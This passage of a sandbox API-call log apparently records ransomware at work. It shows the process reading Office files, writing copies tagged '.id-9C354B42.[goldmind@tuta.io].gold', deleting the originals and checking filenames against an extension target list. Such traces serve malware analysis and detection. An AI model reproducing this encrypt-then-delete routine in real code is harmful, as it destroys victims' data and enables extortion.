"c:\\program files\\microsoft office\\office14\\1033\\visutils.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0108.050] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.050] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visutils.vsl.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0108.051] GetLastError () returned 0x0 [0108.051] ReadFile (in: hFile=0x3b8, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0xc570, lpOverlapped=0x0) returned 1 [0108.053] WriteFile (in: hFile=0x3b0, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xc580, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xc580, lpOverlapped=0x0) returned 1 [0108.054] ReadFile (in: hFile=0x3b8, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0108.054] WriteFile (in: hFile=0x3b0, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xec, lpOverlapped=0x0) returned 1 [0108.054] SetEndOfFile (hFile=0x3b0) returned 1 [0108.054] CloseHandle (hObject=0x3b0) returned 1 [0108.054] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.054] SetEndOfFile (hFile=0x3b8) returned 1 [0108.057] CloseHandle (hObject=0x3b8) returned 1 [0108.057] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0108.057] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visutils.vsl")) returned 1 [0108.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL") returned 60 [0108.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL") returned 60 [0108.058] lstrlenW (lpString=".doc") returned 4 [0108.058] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0108.058] lstrlenW (lpString=".docx") returned 5 [0108.058] lstrcmpiW (lpString1=".docx", lpString2="S.VSL") returned -1 [0108.058] lstrlenW (lpString=".pdf") returned 4 [0108.058] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0108.058] lstrlenW (lpString=".xls") returned 4 [0108.058] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0108.058] lstrlenW (lpString=".xlsx") returned 5 [0108.058] lstrcmpiW (lpString1=".xlsx", lpString2="S.VSL") returned -1 [0108.058] lstrlenW (lpString=".ppt") returned 4 [0108.058] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0108.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL") returned 60 [0108.058] lstrlenW (lpString=".zip") returned 4 [0108.058] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0108.058] lstrlenW (lpString=".rar") returned 4 [0108.058] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0108.058] lstrlenW (lpString=".bz2") returned 4 [0108.058] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0108.058] lstrlenW (lpString=".7z") returned 3 [0108.058] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0108.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL") returned 60 [0108.058] lstrlenW (lpString=".dbf") returned 4 [0108.058] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0108.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL") returned 60 [0108.058] lstrlenW (lpString=".1cd") returned 4 [0108.058] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0108.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL") returned 60 [0108.058] lstrlenW (lpString=".jpg") returned 4 [0108.058] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0108.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL") returned 60 [0108.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL") returned 60 [0108.058] lstrlenW (lpString=".doc") returned 4 [0108.058] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0108.058] lstrlenW (lpString=".docx") returned 5 [0108.058] lstrcmpiW (lpString1=".docx", lpString2="S.VSL") returned -1 [0108.058] lstrlenW (lpString=".pdf") returned 4 [0108.058] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0108.058] lstrlenW (lpString=".xls") returned 4 [0108.058] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0108.058] lstrlenW (lpString=".xlsx") returned 5 [0108.058] lstrcmpiW (lpString1=".xlsx", lpString2="S.VSL") returned -1 [0108.058] lstrlenW (lpString=".ppt") returned 4 [0108.058] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0108.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL") returned 60 [0108.058] lstrlenW (lpString=".zip") returned 4 [0108.058] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0108.058] lstrlenW (lpString=".rar") returned 4 [0108.058] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0108.058] lstrlenW (lpString=".bz2") returned 4 [0108.058] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0108.058] lstrlenW (lpString=".7z") returned 3 [0108.058] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0108.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL") returned 60 [0108.059] lstrlenW (lpString=".dbf") returned 4 [0108.059] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0108.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL") returned 60 [0108.059] lstrlenW (lpString=".1cd") returned 4 [0108.059] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0108.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL") returned 60 [0108.059] lstrlenW (lpString=".jpg") returned 4 [0108.059] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0108.059] lstrcmpiW (lpString1=".vsdir", lpString2=".gold") returned 1 [0108.059] lstrlenW (lpString="Visfilem.vsdir") returned 14 [0108.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\vsdir\\visfilem.vsdir"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0108.059] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=153) returned 1 [0108.059] CloseHandle (hObject=0x3b8) returned 1 [0108.059] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\vsdir\\visfilem.vsdir")) returned 0x20 [0108.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\vsdir\\visfilem.vsdir.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0108.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\vsdir\\visfilem.vsdir"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0108.060] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.060] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\vsdir\\visfilem.vsdir.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0108.063] GetLastError () returned 0x0 [0108.063] ReadFile (in: hFile=0x3b8, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x99, lpOverlapped=0x0) returned 1 [0108.064] WriteFile (in: hFile=0x180, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xa0, lpOverlapped=0x0) returned 1 [0108.065] ReadFile (in: hFile=0x3b8, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0108.065] WriteFile (in: hFile=0x180, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0108.065] SetEndOfFile (hFile=0x180) returned 1 [0108.065] CloseHandle (hObject=0x180) returned 1 [0108.065] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.065] SetEndOfFile (hFile=0x3b8) returned 1 [0108.067] CloseHandle (hObject=0x3b8) returned 1 [0108.067] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0108.105] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\vsdir\\visfilem.vsdir")) returned 1 [0108.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir") returned 68 [0108.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir") returned 68 [0108.157] lstrlenW (lpString=".doc") returned 4 [0108.157] lstrcmpiW (lpString1=".doc", lpString2="sdir") returned -1 [0108.157] lstrlenW (lpString=".docx") returned 5 [0108.157] lstrcmpiW (lpString1=".docx", lpString2="vsdir") returned -1 [0108.157] lstrlenW (lpString=".pdf") returned 4 [0108.158] lstrcmpiW (lpString1=".pdf", lpString2="sdir") returned -1 [0108.158] lstrlenW (lpString=".xls") returned 4 [0108.158] lstrcmpiW (lpString1=".xls", lpString2="sdir") returned -1 [0108.158] lstrlenW (lpString=".xlsx") returned 5 [0108.158] lstrcmpiW (lpString1=".xlsx", lpString2="vsdir") returned -1 [0108.158] lstrlenW (lpString=".ppt") returned 4 [0108.158] lstrcmpiW (lpString1=".ppt", lpString2="sdir") returned -1 [0108.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir") returned 68 [0108.158] lstrlenW (lpString=".zip") returned 4 [0108.158] lstrcmpiW (lpString1=".zip", lpString2="sdir") returned -1 [0108.158] lstrlenW (lpString=".rar") returned 4 [0108.158] lstrcmpiW (lpString1=".rar", lpString2="sdir") returned -1 [0108.158] lstrlenW (lpString=".bz2") returned 4 [0108.158] lstrcmpiW (lpString1=".bz2", lpString2="sdir") returned -1 [0108.158] lstrlenW (lpString=".7z") returned 3 [0108.158] lstrcmpiW (lpString1=".7z", lpString2="dir") returned -1 [0108.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir") returned 68 [0108.158] lstrlenW (lpString=".dbf") returned 4 [0108.158] lstrcmpiW (lpString1=".dbf", lpString2="sdir") returned -1 [0108.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir") returned 68 [0108.158] lstrlenW (lpString=".1cd") returned 4 [0108.158] lstrcmpiW (lpString1=".1cd", lpString2="sdir") returned -1 [0108.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir") returned 68 [0108.158] lstrlenW (lpString=".jpg") returned 4 [0108.158] lstrcmpiW (lpString1=".jpg", lpString2="sdir") returned -1 [0108.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir") returned 68 [0108.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir") returned 68 [0108.158] lstrlenW (lpString=".doc") returned 4 [0108.158] lstrcmpiW (lpString1=".doc", lpString2="sdir") returned -1 [0108.158] lstrlenW (lpString=".docx") returned 5 [0108.158] lstrcmpiW (lpString1=".docx", lpString2="vsdir") returned -1 [0108.158] lstrlenW (lpString=".pdf") returned 4 [0108.158] lstrcmpiW (lpString1=".pdf", lpString2="sdir") returned -1 [0108.158] lstrlenW (lpString=".xls") returned 4 [0108.158] lstrcmpiW (lpString1=".xls", lpString2="sdir") returned -1 [0108.158] lstrlenW (lpString=".xlsx") returned 5 [0108.158] lstrcmpiW (lpString1=".xlsx", lpString2="vsdir") returned -1 [0108.158] lstrlenW (lpString=".ppt") returned 4 [0108.158] lstrcmpiW (lpString1=".ppt", lpString2="sdir") returned -1 [0108.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir") returned 68 [0108.158] lstrlenW (lpString=".zip") returned 4 [0108.158] lstrcmpiW (lpString1=".zip", lpString2="sdir") returned -1 [0108.158] lstrlenW (lpString=".rar") returned 4 [0108.158] lstrcmpiW (lpString1=".rar", lpString2="sdir") returned -1 [0108.158] lstrlenW (lpString=".bz2") returned 4 [0108.158] lstrcmpiW (lpString1=".bz2", lpString2="sdir") returned -1 [0108.158] lstrlenW (lpString=".7z") returned 3 [0108.158] lstrcmpiW (lpString1=".7z", lpString2="dir") returned -1 [0108.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir") returned 68 [0108.158] lstrlenW (lpString=".dbf") returned 4 [0108.158] lstrcmpiW (lpString1=".dbf", lpString2="sdir") returned -1 [0108.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir") returned 68 [0108.158] lstrlenW (lpString=".1cd") returned 4 [0108.158] lstrcmpiW (lpString1=".1cd", lpString2="sdir") returned -1 [0108.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir") returned 68 [0108.158] lstrlenW (lpString=".jpg") returned 4 [0108.159] lstrcmpiW (lpString1=".jpg", lpString2="sdir") returned -1 [0108.159] lstrcmpiW (lpString1=".HXK", lpString2=".gold") returned 1 [0108.159] lstrlenW (lpString="WINPROJ.DEV_F_COL.HXK") returned 21 [0108.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0108.172] GetFileSizeEx (in: hFile=0x230, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=114) returned 1 [0108.172] CloseHandle (hObject=0x230) returned 1 [0108.172] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_f_col.hxk")) returned 0x20 [0108.173] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_f_col.hxk.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0108.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0108.173] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.173] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_f_col.hxk.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0108.174] GetLastError () returned 0x0 [0108.174] ReadFile (in: hFile=0x230, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x72, lpOverlapped=0x0) returned 1 [0108.174] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0x80, lpOverlapped=0x0) returned 1 [0108.175] ReadFile (in: hFile=0x230, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0108.175] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xfe, lpOverlapped=0x0) returned 1 [0108.175] SetEndOfFile (hFile=0x3ac) returned 1 [0108.175] CloseHandle (hObject=0x3ac) returned 1 [0108.175] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.175] SetEndOfFile (hFile=0x230) returned 1 [0108.177] CloseHandle (hObject=0x230) returned 1 [0108.177] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0108.177] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_f_col.hxk")) returned 1 [0108.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK") returned 69 [0108.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK") returned 69 [0108.178] lstrlenW (lpString=".doc") returned 4 [0108.178] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0108.178] lstrlenW (lpString=".docx") returned 5 [0108.178] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0108.178] lstrlenW (lpString=".pdf") returned 4 [0108.178] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0108.178] lstrlenW (lpString=".xls") returned 4 [0108.178] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0108.178] lstrlenW (lpString=".xlsx") returned 5 [0108.178] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0108.178] lstrlenW (lpString=".ppt") returned 4 [0108.178] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0108.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK") returned 69 [0108.178] lstrlenW (lpString=".zip") returned 4 [0108.178] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0108.178] lstrlenW (lpString=".rar") returned 4 [0108.178] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0108.178] lstrlenW (lpString=".bz2") returned 4 [0108.178] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0108.178] lstrlenW (lpString=".7z") returned 3 [0108.178] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0108.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK") returned 69 [0108.178] lstrlenW (lpString=".dbf") returned 4 [0108.178] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0108.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK") returned 69 [0108.178] lstrlenW (lpString=".1cd") returned 4 [0108.178] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0108.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK") returned 69 [0108.178] lstrlenW (lpString=".jpg") returned 4 [0108.178] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0108.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK") returned 69 [0108.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK") returned 69 [0108.179] lstrlenW (lpString=".doc") returned 4 [0108.179] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0108.179] lstrlenW (lpString=".docx") returned 5 [0108.179] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0108.179] lstrlenW (lpString=".pdf") returned 4 [0108.179] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0108.179] lstrlenW (lpString=".xls") returned 4 [0108.179] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0108.179] lstrlenW (lpString=".xlsx") returned 5 [0108.179] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0108.179] lstrlenW (lpString=".ppt") returned 4 [0108.179] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0108.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK") returned 69 [0108.179] lstrlenW (lpString=".zip") returned 4 [0108.179] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0108.179] lstrlenW (lpString=".rar") returned 4 [0108.179] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0108.179] lstrlenW (lpString=".bz2") returned 4 [0108.179] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0108.179] lstrlenW (lpString=".7z") returned 3 [0108.179] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0108.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK") returned 69 [0108.179] lstrlenW (lpString=".dbf") returned 4 [0108.179] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0108.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK") returned 69 [0108.179] lstrlenW (lpString=".1cd") returned 4 [0108.179] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0108.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK") returned 69 [0108.179] lstrlenW (lpString=".jpg") returned 4 [0108.179] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0108.179] lstrcmpiW (lpString1=".HXK", lpString2=".gold") returned 1 [0108.179] lstrlenW (lpString="WINPROJ.DEV_K_COL.HXK") returned 21 [0108.179] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0108.180] GetFileSizeEx (in: hFile=0x230, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=113) returned 1 [0108.180] CloseHandle (hObject=0x230) returned 1 [0108.180] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_k_col.hxk")) returned 0x20 [0108.181] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_k_col.hxk.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0108.181] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0108.181] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.181] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.181] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 